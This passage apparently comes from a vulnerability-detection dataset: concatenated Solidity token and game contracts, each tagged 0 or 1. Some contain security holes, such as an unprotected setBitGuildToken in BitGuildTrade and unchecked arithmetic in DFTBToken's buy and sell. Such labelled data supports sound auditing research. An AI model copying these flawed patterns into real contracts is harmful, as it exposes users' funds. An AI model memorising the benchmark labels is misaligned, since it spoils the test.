function setUnitAttackMultiplier(address _address, uint256 cardId, uint256 iValue,bool iflag) external;
function setUnitDefenseIncreases(address _address, uint256 cardId, uint256 iValue,bool iflag) external;
function setunitDefenseMultiplier(address _address, uint256 cardId, uint256 iValue,bool iflag) external;
function setUnitJadeStealingIncreases(address _address, uint256 cardId, uint256 iValue,bool iflag) external;
function setUnitJadeStealingMultiplier(address _address, uint256 cardId, uint256 iValue,bool iflag) external;
function setUintCoinProduction(address _address, uint256 cardId, uint256 iValue,bool iflag) external;
function getUintCoinProduction(address _address, uint256 cardId) external returns (uint256);
function getUnitsInProduction(address player, uint256 unitId, uint256 amount) external constant returns (uint256);
function getPlayersBattleStats(address player) public constant returns (
uint256 attackingPower,
uint256 defendingPower,
uint256 stealingPower,
uint256 battlePower);
}
interface GameConfigInterface {
function getMaxCAP() external returns (uint256);
function unitCoinProduction(uint256 cardId) external constant returns (uint256);
function unitPLATCost(uint256 cardId) external constant returns (uint256);
function getCostForCards(uint256 cardId, uint256 existing, uint256 amount) external constant returns (uint256);
function getCostForBattleCards(uint256 cardId, uint256 existing, uint256 amount) external constant returns (uint256);
function unitBattlePLATCost(uint256 cardId) external constant returns (uint256);
function getUpgradeCardsInfo(uint256 upgradecardId,uint256 existing) external constant returns (
uint256 coinCost,
uint256 ethCost,
uint256 upgradeClass,
uint256 cardId,
uint256 upgradeValue,
uint256 platCost
);
function getCardInfo(uint256 cardId, uint256 existing, uint256 amount) external constant returns (uint256, uint256, uint256, uint256, bool);
function getBattleCardInfo(uint256 cardId, uint256 existing, uint256 amount) external constant returns (uint256, uint256, uint256, bool);
}
interface RareInterface {
function getRareItemsOwner(uint256 rareId) external view returns (address);
function getRareItemsPrice(uint256 rareId) external view returns (uint256);
function getRareItemsPLATPrice(uint256 rareId) external view returns (uint256);
function getRarePLATInfo(uint256 _tokenId) external view returns (
uint256 sellingPrice,
address owner,
uint256 nextPrice,
uint256 rareClass,
uint256 cardId,
uint256 rareValue
);
function transferToken(address _from, address _to, uint256 _tokenId) external;
function setRarePrice(uint256 _rareId, uint256 _price) external;
}
contract BitGuildHelper is Ownable {
CardsInterface public cards ;
GameConfigInterface public schema;
RareInterface public rare;
function setCardsAddress(address _address) external onlyOwner {
cards = CardsInterface(_address);
}
function setConfigAddress(address _address) external onlyOwner {
schema = GameConfigInterface(_address);
}
function setRareAddress(address _address) external onlyOwner {
rare = RareInterface(_address);
}
function upgradeUnitMultipliers(address player, uint256 upgradeClass, uint256 unitId, uint256 upgradeValue) internal {
uint256 productionGain;
if (upgradeClass == 0) {
cards.setUnitCoinProductionIncreases(player, unitId, upgradeValue,true);
productionGain = (cards.getOwnedCount(player,unitId) * upgradeValue * (10 + cards.getUnitCoinProductionMultiplier(player,unitId)));
cards.setUintCoinProduction(player,unitId,productionGain,true);
cards.increasePlayersJadeProduction(player,productionGain);
} else if (upgradeClass == 1) {
cards.setUnitCoinProductionMultiplier(player,unitId,upgradeValue,true);
productionGain = (cards.getOwnedCount(player,unitId) * upgradeValue * (schema.unitCoinProduction(unitId) + cards.getUnitCoinProductionIncreases(player,unitId)));
cards.setUintCoinProduction(player,unitId,productionGain,true);
cards.increasePlayersJadeProduction(player,productionGain);
} else if (upgradeClass == 2) {
cards.setUnitAttackIncreases(player,unitId,upgradeValue,true);
} else if (upgradeClass == 3) {
cards.setUnitAttackMultiplier(player,unitId,upgradeValue,true);
} else if (upgradeClass == 4) {
cards.setUnitDefenseIncreases(player,unitId,upgradeValue,true);
} else if (upgradeClass == 5) {
cards.setunitDefenseMultiplier(player,unitId,upgradeValue,true);
} else if (upgradeClass == 6) {
cards.setUnitJadeStealingIncreases(player,unitId,upgradeValue,true);
} else if (upgradeClass == 7) {
cards.setUnitJadeStealingMultiplier(player,unitId,upgradeValue,true);
}
}
function removeUnitMultipliers(address player, uint256 upgradeClass, uint256 unitId, uint256 upgradeValue) internal {
uint256 productionLoss;
if (upgradeClass == 0) {
cards.setUnitCoinProductionIncreases(player, unitId, upgradeValue,false);
productionLoss = (cards.getOwnedCount(player,unitId) * upgradeValue * (10 + cards.getUnitCoinProductionMultiplier(player,unitId)));
cards.setUintCoinProduction(player,unitId,productionLoss,false);
cards.reducePlayersJadeProduction(player, productionLoss);
} else if (upgradeClass == 1) {
cards.setUnitCoinProductionMultiplier(player,unitId,upgradeValue,false);
productionLoss = (cards.getOwnedCount(player,unitId) * upgradeValue * (schema.unitCoinProduction(unitId) + cards.getUnitCoinProductionIncreases(player,unitId)));
cards.setUintCoinProduction(player,unitId,productionLoss,false);
cards.reducePlayersJadeProduction(player, productionLoss);
} else if (upgradeClass == 2) {
cards.setUnitAttackIncreases(player,unitId,upgradeValue,false);
} else if (upgradeClass == 3) {
cards.setUnitAttackMultiplier(player,unitId,upgradeValue,false);
} else if (upgradeClass == 4) {
cards.setUnitDefenseIncreases(player,unitId,upgradeValue,false);
} else if (upgradeClass == 5) {
cards.setunitDefenseMultiplier(player,unitId,upgradeValue,false);
} else if (upgradeClass == 6) {
cards.setUnitJadeStealingIncreases(player,unitId,upgradeValue,false);
} else if (upgradeClass == 7) {
cards.setUnitJadeStealingMultiplier(player,unitId,upgradeValue,false);
}
}
}
interface BitGuildTokenInterface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract BitGuildTrade is BitGuildHelper {
BitGuildTokenInterface public tokenContract;
event UnitBought(address player, uint256 unitId, uint256 amount);
event UpgradeCardBought(address player, uint256 upgradeId);
event BuyRareCard(address player, address previous, uint256 rareId,uint256 iPrice);
event UnitSold(address player, uint256 unitId, uint256 amount);
mapping(address => mapping(uint256 => uint256)) unitsOwnedOfPLAT;
function() external payable {
revert();
}
function setBitGuildToken(address _tokenContract) external {
tokenContract = BitGuildTokenInterface(_tokenContract);
}
function kill() public onlyOwner {
tokenContract.transferFrom(this, msg.sender, tokenContract.balanceOf(this));
selfdestruct(msg.sender);
}
function _getExtraParam(bytes _extraData) private pure returns(uint256 val1,uint256 val2,uint256 val3) {
if (_extraData.length == 2) {
val1 = uint256(_extraData[0]);
val2 = uint256(_extraData[1]);
val3 = 1;
} else if (_extraData.length == 3) {
val1 = uint256(_extraData[0]);
val2 = uint256(_extraData[1]);
val3 = uint256(_extraData[2]);
}
}
function receiveApproval(address _player, uint256 _value, address _tokenContractAddr, bytes _extraData) external {
require(msg.sender == _tokenContractAddr);
require(_extraData.length >=1);
require(tokenContract.transferFrom(_player, address(this), _value));
uint256 flag;
uint256 unitId;
uint256 amount;
(flag,unitId,amount) = _getExtraParam(_extraData);
if (flag==1) {
buyPLATCards(_player, _value, unitId, amount);
} else if (flag==3) {
buyUpgradeCard(_player, _value, unitId);
} else if (flag==4) {
buyRareItem(_player, _value, unitId);
}
}
function buyPLATCards(address _player, uint256 _platValue, uint256 _cardId, uint256 _amount) internal {
require(cards.getGameStarted());
require(_amount>=1);
uint256 existing = cards.getOwnedCount(_player,_cardId);
require(existing < schema.getMaxCAP());
uint256 iAmount;
if (SafeMath.add(existing, _amount) > schema.getMaxCAP()) {
iAmount = SafeMath.sub(schema.getMaxCAP(),existing);
} else {
iAmount = _amount;
}
uint256 coinProduction;
uint256 coinCost;
uint256 ethCost;
if (_cardId>=1 && _cardId<=39) {
coinProduction = schema.unitCoinProduction(_cardId);
coinCost = schema.getCostForCards(_cardId, existing, iAmount);
ethCost = SafeMath.mul(schema.unitPLATCost(_cardId),iAmount);
} else if (_cardId>=40) {
coinCost = schema.getCostForBattleCards(_cardId, existing, iAmount);
ethCost = SafeMath.mul(schema.unitBattlePLATCost(_cardId),iAmount);
}
require(ethCost>0);
require(SafeMath.add(cards.coinBalanceOf(_player,1),_platValue) >= ethCost);
require(cards.balanceOf(_player) >= coinCost);
cards.updatePlayersCoinByPurchase(_player, coinCost);
if (ethCost > _platValue) {
cards.setCoinBalance(_player,SafeMath.sub(ethCost,_platValue),1,false);
} else if (_platValue > ethCost) {
cards.setCoinBalance(_player,SafeMath.sub(_platValue,ethCost),1,true);
}
uint256 devFund = uint256(SafeMath.div(ethCost,20));
cards.setTotalEtherPool(uint256(SafeMath.div(ethCost,4)),1,true);
cards.setCoinBalance(owner,devFund,1,true);
if (coinProduction > 0) {
cards.increasePlayersJadeProduction(_player, cards.getUnitsProduction(_player, _cardId, iAmount));
cards.setUintCoinProduction(_player,_cardId,cards.getUnitsProduction(_player, _cardId, iAmount),true);
}
if (cards.getUintsOwnerCount(_player)<=0) {
cards.AddPlayers(_player);
}
cards.setUintsOwnerCount(_player,iAmount, true);
cards.setOwnedCount(_player,_cardId,iAmount,true);
unitsOwnedOfPLAT[_player][_cardId] = SafeMath.add(unitsOwnedOfPLAT[_player][_cardId],iAmount);
UnitBought(_player, _cardId, iAmount);
}
function buyUpgradeCard(address _player, uint256 _platValue,uint256 _upgradeId) internal {
require(cards.getGameStarted());
require(_upgradeId>=1);
uint256 existing = cards.getUpgradesOwned(_player,_upgradeId);
require(existing<=5);
uint256 coinCost;
uint256 ethCost;
uint256 upgradeClass;
uint256 unitId;
uint256 upgradeValue;
uint256 platCost;
(coinCost, ethCost, upgradeClass, unitId, upgradeValue,platCost) = schema.getUpgradeCardsInfo(_upgradeId,existing);
require(platCost>0);
if (platCost > 0) {
require(SafeMath.add(cards.coinBalanceOf(_player,1),_platValue) >= platCost);
if (platCost > _platValue) {
cards.setCoinBalance(_player, SafeMath.sub(platCost,_platValue),1,false);
} else if (platCost < _platValue) {
cards.setCoinBalance(_player,SafeMath.sub(_platValue,platCost),1,true);
}
uint256 devFund = uint256(SafeMath.div(platCost, 20));
cards.setTotalEtherPool(SafeMath.sub(platCost,devFund),1,true);
cards.setCoinBalance(owner,devFund,1,true);
}
require(cards.balanceOf(_player) >= coinCost);
cards.updatePlayersCoinByPurchase(_player, coinCost);
upgradeUnitMultipliers(_player, upgradeClass, unitId, upgradeValue);
cards.setUpgradesOwned(_player,_upgradeId);
if (cards.getUintsOwnerCount(_player)<=0) {
cards.AddPlayers(_player);
}
UpgradeCardBought(_player, _upgradeId);
}
function buyRareItem(address _player, uint256 _platValue,uint256 _rareId) internal {
require(cards.getGameStarted());
address previousOwner = rare.getRareItemsOwner(_rareId);
require(previousOwner != 0);
require(_player!=previousOwner);
uint256 ethCost = rare.getRareItemsPLATPrice(_rareId);
uint256 totalCost = SafeMath.add(cards.coinBalanceOf(_player,1),_platValue);
require(totalCost >= ethCost);
cards.updatePlayersCoinByOut(_player);
cards.updatePlayersCoinByOut(previousOwner);
uint256 upgradeClass;
uint256 unitId;
uint256 upgradeValue;
(,,,,upgradeClass, unitId, upgradeValue) = rare.getRarePLATInfo(_rareId);
upgradeUnitMultipliers(_player, upgradeClass, unitId, upgradeValue);
removeUnitMultipliers(previousOwner, upgradeClass, unitId, upgradeValue);
if (ethCost > _platValue) {
cards.setCoinBalance(_player,SafeMath.sub(ethCost,_platValue),1,false);
} else if (_platValue > ethCost) {
cards.setCoinBalance(_player,SafeMath.sub(_platValue,ethCost),1,true);
}
uint256 devFund = uint256(SafeMath.div(ethCost, 20));
uint256 dividends = uint256(SafeMath.div(ethCost,20));
cards.setTotalEtherPool(dividends,1,true);
cards.setCoinBalance(owner,devFund,1,true);
rare.transferToken(previousOwner,_player,_rareId);
rare.setRarePrice(_rareId,SafeMath.div(SafeMath.mul(rare.getRareItemsPrice(_rareId),5),4));
cards.setCoinBalance(previousOwner,SafeMath.sub(ethCost,SafeMath.add(dividends,devFund)),1,true);
if (cards.getUintsOwnerCount(_player)<=0) {
cards.AddPlayers(_player);
}
cards.setUintsOwnerCount(_player,1,true);
cards.setUintsOwnerCount(previousOwner,1,true);
BuyRareCard(_player, previousOwner, _rareId, ethCost);
}
function sellCards( uint256 _unitId, uint256 _amount) external {
require(cards.getGameStarted());
uint256 existing = cards.getOwnedCount(msg.sender,_unitId);
require(existing >= _amount && _amount>0);
existing = SafeMath.sub(existing,_amount);
uint256 coinChange;
uint256 decreaseCoin;
uint256 schemaUnitId;
uint256 coinProduction;
uint256 coinCost;
uint256 ethCost;
bool sellable;
if (_unitId>=40) {
(schemaUnitId,coinCost,, sellable) = schema.getBattleCardInfo(_unitId, existing, _amount);
ethCost = SafeMath.mul(schema.unitBattlePLATCost(_unitId),_amount);
} else {
(schemaUnitId, coinProduction, coinCost, , sellable) = schema.getCardInfo(_unitId, existing, _amount);
ethCost = SafeMath.mul(schema.unitPLATCost(_unitId),_amount);
}
require(sellable);
if (ethCost>0) {
require(unitsOwnedOfPLAT[msg.sender][_unitId]>=_amount);
}
if (coinCost>0) {
coinChange = SafeMath.add(cards.balanceOfUnclaimed(msg.sender), SafeMath.div(SafeMath.mul(coinCost,70),100));
} else {
coinChange = cards.balanceOfUnclaimed(msg.sender);
}
cards.setLastJadeSaveTime(msg.sender);
cards.setRoughSupply(coinChange);
cards.setJadeCoin(msg.sender, coinChange, true);
decreaseCoin = cards.getUnitsInProduction(msg.sender, _unitId, _amount);
if (coinProduction > 0) {
cards.reducePlayersJadeProduction(msg.sender, decreaseCoin);
cards.setUintCoinProduction(msg.sender,_unitId,decreaseCoin,false);
}
if (ethCost > 0) {
cards.setCoinBalance(msg.sender,SafeMath.div(SafeMath.mul(ethCost,70),100),1,true);
}
cards.setOwnedCount(msg.sender,_unitId,_amount,false);
cards.setUintsOwnerCount(msg.sender,_amount,false);
if (ethCost>0) {
unitsOwnedOfPLAT[msg.sender][_unitId] = SafeMath.sub(unitsOwnedOfPLAT[msg.sender][_unitId],_amount);
}
UnitSold(msg.sender, _unitId, _amount);
}
function withdrawEtherFromTrade(uint256 amount) external {
require(amount <= cards.coinBalanceOf(msg.sender,1));
cards.setCoinBalance(msg.sender,amount,1,false);
tokenContract.transfer(msg.sender,amount);
}
function withdrawToken(uint256 amount) external onlyOwner {
uint256 balance = tokenContract.balanceOf(this);
require(balance > 0 && balance >= amount);
cards.setCoinBalance(msg.sender,amount,1,false);
tokenContract.transfer(msg.sender, amount);
}
function getCanSellUnit(address _address, uint256 unitId) external view returns (uint256) {
return unitsOwnedOfPLAT[_address][unitId];
}
} | 0 |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract token {
function balanceOf(address _owner) public constant returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool success);
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public{
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract lockEtherPay is Ownable {
using SafeMath for uint256;
token token_reward;
address public beneficiary;
bool public isLocked = false;
bool public isReleased = false;
uint256 public start_time;
uint256 public end_time;
uint256 public fifty_two_weeks = 30412800;
event TokenReleased(address beneficiary, uint256 token_amount);
constructor() public{
token_reward = token(0xAa1ae5e57dc05981D83eC7FcA0b3c7ee2565B7D6);
beneficiary = 0x7b451aFd826e648CBD29F20884940F8ede93F4fd;
}
function tokenBalance() constant public returns (uint256){
return token_reward.balanceOf(this);
}
function lock() public onlyOwner returns (bool){
require(!isLocked);
require(tokenBalance() > 0);
start_time = now;
end_time = start_time.add(fifty_two_weeks);
isLocked = true;
}
function lockOver() constant public returns (bool){
uint256 current_time = now;
return current_time > end_time;
}
function release() onlyOwner public{
require(isLocked);
require(!isReleased);
require(lockOver());
uint256 token_amount = tokenBalance();
token_reward.transfer( beneficiary, token_amount);
emit TokenReleased(beneficiary, token_amount);
isReleased = true;
}
} | 0 |
pragma solidity ^0.4.18;
contract Owner {
address public owner;
function Owner() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner {
owner = newOwner;
}
}
contract TokenRecipient {
function receiveApproval(
address _from,
uint256 _value,
address _token,
bytes _extraData);
}
contract Token {
string public standard;
string public name;
string public symbol;
uint8 public decimals;
uint256 public totalSupply;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
function Token (
uint256 initialSupply,
string tokenName,
uint8 decimalUnits,
string tokenSymbol,
string standardStr
) {
balanceOf[msg.sender] = initialSupply;
totalSupply = initialSupply;
name = tokenName;
symbol = tokenSymbol;
decimals = decimalUnits;
standard = standardStr;
}
function transfer(address _to, uint256 _value) returns (bool success) {
if (balanceOf[msg.sender] < _value) {
revert();
}
if (balanceOf[_to] + _value < balanceOf[_to]) {
revert();
}
balanceOf[msg.sender] -= _value;
balanceOf[_to] += _value;
Transfer(msg.sender, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) returns (bool success) {
require(balanceOf[msg.sender] >= _value);
allowance[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData)
returns (bool success)
{
TokenRecipient spender = TokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(
msg.sender,
_value,
this,
_extraData
);
return true;
}
}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {
if (balanceOf[_from] < _value) {
revert();
}
if (balanceOf[_to] + _value < balanceOf[_to]) {
revert();
}
if (_value > allowance[_from][msg.sender]) {
revert();
}
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
allowance[_from][msg.sender] -= _value;
Transfer(_from, _to, _value);
return true;
}
}
contract DFTBToken is Token, Owner {
uint256 public constant INITIAL_SUPPLY = 5 * 10000 * 10000 * 1000000;
string public constant NAME = "DFTB";
string public constant SYMBOL = "DFTB";
string public constant STANDARD = "DFTB";
uint8 public constant DECIMALS = 6;
uint256 public constant BUY = 0;
uint256 constant RATE = 1 szabo;
bool private couldTrade = false;
uint256 public sellPrice;
uint256 public buyPrice;
uint minBalanceForAccounts;
mapping (address => bool) frozenAccount;
event FrozenFunds(address indexed _target, bool _frozen);
function DFTBToken() Token(INITIAL_SUPPLY, NAME, DECIMALS, SYMBOL, STANDARD) {
balanceOf[msg.sender] = totalSupply;
buyPrice = 100000000;
sellPrice = 100000000;
}
function transfer(address _to, uint256 _value) returns (bool success) {
if (balanceOf[msg.sender] < _value) {
revert();
}
if (balanceOf[_to] + _value < balanceOf[_to]) {
revert();
}
if (frozenAccount[msg.sender]) {
revert();
}
balanceOf[msg.sender] -= _value;
balanceOf[_to] += _value;
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {
if (frozenAccount[_from]) {
revert();
}
if (balanceOf[_from] < _value) {
revert();
}
if (balanceOf[_to] + _value < balanceOf[_to]) {
revert();
}
if (_value > allowance[_from][msg.sender]) {
revert();
}
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
allowance[_from][msg.sender] -= _value;
Transfer(_from, _to, _value);
return true;
}
function freezeAccount(address _target, bool freeze) onlyOwner {
frozenAccount[_target] = freeze;
FrozenFunds(_target, freeze);
}
function setPrices(uint256 newSellPrice, uint256 newBuyPrice) onlyOwner {
sellPrice = newSellPrice;
buyPrice = newBuyPrice;
}
function buy() payable returns (uint amount) {
require(couldTrade);
amount = msg.value * RATE / buyPrice;
require(balanceOf[this] >= amount);
require(balanceOf[msg.sender] + amount >= amount);
balanceOf[this] -= amount;
balanceOf[msg.sender] += amount;
Transfer(this, msg.sender, amount);
return amount;
}
function sell(uint256 amountInWeiDecimalIs18) returns (uint256 revenue) {
require(couldTrade);
uint256 amount = amountInWeiDecimalIs18;
require(balanceOf[msg.sender] >= amount);
require(!frozenAccount[msg.sender]);
revenue = amount * sellPrice / RATE;
balanceOf[this] += amount;
balanceOf[msg.sender] -= amount;
require(msg.sender.send(revenue));
Transfer(msg.sender, this, amount);
return revenue;
}
function withdraw(uint256 amount) onlyOwner returns (bool success) {
require(msg.sender.send(amount));
return true;
}
function setCouldTrade(uint256 amountInWeiDecimalIs18) onlyOwner returns (bool success) {
couldTrade = true;
require(balanceOf[msg.sender] >= amountInWeiDecimalIs18);
require(balanceOf[this] + amountInWeiDecimalIs18 >= amountInWeiDecimalIs18);
balanceOf[msg.sender] -= amountInWeiDecimalIs18;
balanceOf[this] += amountInWeiDecimalIs18;
Transfer(msg.sender, this, amountInWeiDecimalIs18);
return true;
}
function stopTrade() onlyOwner returns (bool success) {
couldTrade = false;
uint256 _remain = balanceOf[this];
require(balanceOf[msg.sender] + _remain >= _remain);
balanceOf[msg.sender] += _remain;
balanceOf[this] -= _remain;
Transfer(this, msg.sender, _remain);
return true;
}
function () {
revert();
}
} | 1 |
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract AltcoinToken {
function balanceOf(address _owner) constant public returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ethlimited is ERC20 {
using SafeMath for uint256;
address owner = msg.sender;
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
string public constant name = "Ethlimited";
string public constant symbol = "ETHL";
uint public constant decimals = 8;
uint256 public totalSupply = 10000000e8;
uint256 public totalDistributed = 0;
uint256 public tokensPerEth = 1000e8;
uint256 public constant minContribution = 1 ether / 100;
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
event Distr(address indexed to, uint256 amount);
event DistrFinished();
event Airdrop(address indexed _owner, uint _amount, uint _balance);
event TokensPerEthUpdated(uint _tokensPerEth);
event Burn(address indexed burner, uint256 value);
bool public distributionFinished = false;
modifier canDistr() {
require(!distributionFinished);
_;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
constructor() public {
owner = 0x8eDb6D26e70C19603e2044128668C362379B1C78;
uint256 devTokens = 4000000e8;
distr(owner, devTokens);
}
function transferOwnership(address newOwner) onlyOwner public {
if (newOwner != address(0)) {
owner = newOwner;
}
}
function finishDistribution() onlyOwner canDistr public returns (bool) {
distributionFinished = true;
emit DistrFinished();
return true;
}
function distr(address _to, uint256 _amount) canDistr private returns (bool) {
totalDistributed = totalDistributed.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Distr(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function doAirdrop(address _participant, uint _amount) internal {
require( _amount > 0 );
require( totalDistributed < totalSupply );
balances[_participant] = balances[_participant].add(_amount);
totalDistributed = totalDistributed.add(_amount);
if (totalDistributed >= totalSupply) {
distributionFinished = true;
}
emit Airdrop(_participant, _amount, balances[_participant]);
emit Transfer(address(0), _participant, _amount);
}
function adminClaimAirdrop(address _participant, uint _amount) public onlyOwner {
doAirdrop(_participant, _amount);
}
function adminClaimAirdropMultiple(address[] _addresses, uint _amount) public onlyOwner {
for (uint i = 0; i < _addresses.length; i++) doAirdrop(_addresses[i], _amount);
}
function updateTokensPerEth(uint _tokensPerEth) public onlyOwner {
tokensPerEth = _tokensPerEth;
emit TokensPerEthUpdated(_tokensPerEth);
}
function () external payable {
getTokens();
}
function getTokens() payable canDistr public {
uint256 tokens = 0;
require( msg.value >= minContribution );
require( msg.value > 0 );
tokens = tokensPerEth.mul(msg.value) / 1 ether;
address investor = msg.sender;
if (tokens > 0) {
distr(investor, tokens);
}
if (totalDistributed >= totalSupply) {
distributionFinished = true;
}
}
function balanceOf(address _owner) constant public returns (uint256) {
return balances[_owner];
}
modifier onlyPayloadSize(uint size) {
assert(msg.data.length >= size + 4);
_;
}
function transfer(address _to, uint256 _amount) onlyPayloadSize(2 * 32) public returns (bool success) {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
emit Transfer(msg.sender, _to, _amount);
return true;
}
function transferFrom(address _from, address _to, uint256 _amount) onlyPayloadSize(3 * 32) public returns (bool success) {
require(_to != address(0));
require(_amount <= balances[_from]);
require(_amount <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_amount);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
emit Transfer(_from, _to, _amount);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool success) {
if (_value != 0 && allowed[msg.sender][_spender] != 0) { return false; }
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant public returns (uint256) {
return allowed[_owner][_spender];
}
function getTokenBalance(address tokenAddress, address who) constant public returns (uint){
AltcoinToken t = AltcoinToken(tokenAddress);
uint bal = t.balanceOf(who);
return bal;
}
function withdraw() onlyOwner public {
address myAddress = this;
uint256 etherBalance = myAddress.balance;
owner.transfer(etherBalance);
}
function burn(uint256 _value) onlyOwner public {
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
totalDistributed = totalDistributed.sub(_value);
emit Burn(burner, _value);
}
function withdrawAltcoinTokens(address _tokenContract) onlyOwner public returns (bool) {
AltcoinToken token = AltcoinToken(_tokenContract);
uint256 amount = token.balanceOf(address(this));
return token.transfer(owner, amount);
}
} | 1 |
pragma solidity ^0.4.21;
library SafeMath {
function mul(uint a, uint b) internal constant returns (uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
assert(c / a == b);
return c;
}
function div(uint a, uint b) internal constant returns(uint) {
assert(b > 0);
uint c = a / b;
assert(a == b * c + a % b);
return c;
}
function sub(uint a, uint b) internal constant returns(uint) {
assert(b <= a);
return a - b;
}
function add(uint a, uint b) internal constant returns(uint) {
uint c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20 {
uint public totalSupply = 0;
mapping(address => uint) balances;
mapping(address => mapping (address => uint)) allowed;
function balanceOf(address _owner) constant returns (uint);
function transfer(address _to, uint _value) returns (bool);
function transferFrom(address _from, address _to, uint _value) returns (bool);
function approve(address _spender, uint _value) returns (bool);
function allowance(address _owner, address _spender) constant returns (uint);
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
}
contract HumanTokenAllocator {
using SafeMath for uint;
HumanToken public Human;
uint public rateEth = 700;
uint public tokenPerUsdNumerator = 1;
uint public tokenPerUsdDenominator = 1;
uint public firstStageRaised;
uint public secondStageRaised;
uint public firstStageCap = 7*10**24;
uint public secondStageCap = 32*10**24;
uint public FIFTY_THOUSANDS_LIMIT = 5*10**22;
uint teamPart = 7*10**24;
bool public publicAllocationEnabled;
address public teamFund;
address public owner;
address public oracle;
address public company;
event LogBuyForInvestor(address investor, uint humanValue, string txHash);
event ControllerAdded(address _controller);
event ControllerRemoved(address _controller);
event FirstStageStarted(uint _timestamp);
event SecondStageStarted(uint _timestamp);
event AllocationFinished(uint _timestamp);
event PublicAllocationEnabled(uint _timestamp);
event PublicAllocationDisabled(uint _timestamp);
mapping(address => bool) public isController;
modifier onlyOwner {
require(msg.sender == owner);
_;
}
modifier onlyOracle {
require(msg.sender == oracle);
_;
}
modifier onlyControllers {
require(isController[msg.sender]);
_;
}
enum Status {
Created,
firstStage,
secondStage,
Finished
}
Status public status = Status.Created;
function HumanTokenAllocator(
address _owner,
address _oracle,
address _company,
address _teamFund,
address _eventManager
) public {
owner = _owner;
oracle = _oracle;
company = _company;
teamFund = _teamFund;
Human = new HumanToken(address(this), _eventManager);
}
function() external payable {
require(publicAllocationEnabled);
uint humanValue = msg.value.mul(rateEth).mul(tokenPerUsdNumerator).div(tokenPerUsdDenominator);
if (status == Status.secondStage) {
require(humanValue >= FIFTY_THOUSANDS_LIMIT);
}
buy(msg.sender, humanValue);
}
function setRate(uint _rateEth) external onlyOracle {
rateEth = _rateEth;
}
function setPrice(uint _numerator, uint _denominator) external onlyOracle {
tokenPerUsdNumerator = _numerator;
tokenPerUsdDenominator = _denominator;
}
function buyForInvestor(
address _holder,
uint _humanValue,
string _txHash
)
external
onlyControllers {
buy(_holder, _humanValue);
LogBuyForInvestor(_holder, _humanValue, _txHash);
}
function buy(address _holder, uint _humanValue) internal {
require(status == Status.firstStage || status == Status.secondStage);
if (status == Status.firstStage) {
require(firstStageRaised + _humanValue <= firstStageCap);
firstStageRaised = firstStageRaised.add(_humanValue);
} else {
require(secondStageRaised + _humanValue <= secondStageCap);
